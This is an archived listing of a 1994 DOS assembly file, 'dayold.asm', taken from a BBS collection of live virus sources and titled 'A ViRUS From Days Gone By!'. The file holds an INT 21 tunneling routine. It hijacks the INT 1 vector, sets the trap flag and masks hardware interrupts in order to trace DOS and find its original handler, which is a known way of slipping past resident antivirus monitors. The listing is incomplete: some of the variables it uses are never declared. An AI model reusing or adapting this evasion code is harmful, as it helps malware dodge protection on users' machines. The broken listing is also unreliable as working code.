home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / dayold.asm < prev    next >
Assembly Source File  |  1994-04-30  |  3KB  |  87 lines

  1. ;                   A ViRUS From Days Gone By!
  2. ;                  ============================
  3.  
  4.  
  5. .model tiny
  6. .radix 16
  7. .code
  8.  
  9.         org 100
  10.  
  11. trace_21:
  12.  
  13.         push es
  14.         mov ah,52
  15.         int 21      ; get list of lists
  16.         mov ax,es:[bx-2]
  17.         mov cs:[offset dossegment],ax ; first dos segment in list of lists
  18.         xor ax,ax
  19.         mov ds,ax
  20.         les ax,ds:[1*4]
  21.         mov word ptr cs:[offset oldint1],ax
  22.         mov word ptr cs:[offset oldint1+2],es  ; saves old int-1 vector
  23.         lea ax,cs:[offset int1]
  24.         cli                             ; clear interrupt flag
  25.         mov word ptr ds:[4],ax
  26.         mov word ptr ds:[6],cs          ; take control of int-1
  27.         sti                             ; set interrupt flag
  28.         pushf
  29.         pop ax                          ; get flags in ax
  30.         or ax,100
  31.         push ax                         ; set trap flag on when popped
  32.         in al,21
  33.         mov cs:[offset oldIMR],al              ; save old IMR status
  34.         mov al,0ff
  35.         out 21,al                       ; disable all interrupts
  36.         popf                            ; turn on trace/trap flag
  37.         mov ah,52
  38.         pushf
  39.         call dword ptr cs:[offset oldint21]    ; get list of lists for
  40. tunneling
  41.         pushf
  42.         pop ax
  43.         and ax,0feff                    ; turn off trap, tracing flag
  44.         push ax
  45.         popf
  46.         mov al,cs:[offset oldIMR]              ; restore old IMR status
  47.         out 21,al
  48.         les ax,cs:[offset oldint1]
  49.         cli
  50.         mov word ptr ds:[4],ax
  51.         mov word ptr ds:[6],es          ; restore int-1 vector to originali
  52.         sti
  53. int1:
  54.         push bp
  55.         mov bp,sp                       ; stack pointer to bp
  56.         push ax
  57.         cmp word ptr [bp+4],0c000       ; DOS/BIOS ?    if so goto foi
  58.         jnb foi
  59.         mov ax,cs:[offset dossegment]   ; In DOS ? if so goto foi (found it
  60.         cmp [bp+4],ax
  61.         jbe foi
  62.         pop ax
  63.         pop bp
  64.         iret
  65. foi:
  66.         mov ax,[bp+2]
  67.         mov word ptr cs:[offset origint21],ax   ; save the traced int-21
  68.         mov ax,[bp+4]                           ; offset
  69.         mov word ptr cs:[offset origint21+2],ax ; save the traced int-21
  70.         and word ptr [bp+6],0feff               ; segment
  71.         mov al,cs:[offset oldIMR]
  72.         out 21,al                               ; restore the IMR
  73.         pop ax
  74.         pop bp
  75.         iret                                    ; end the tracing and ret
  76.  
  77. ; Variables
  78. oldint1         dd      ?
  79. dossegment      dw      ?
  80. oldIMR          db      ?
  81.  
  82. end trace_21
  83. code ends
  84.  
  85.  
  86.         tasm name /m10, tlink name /t
  87.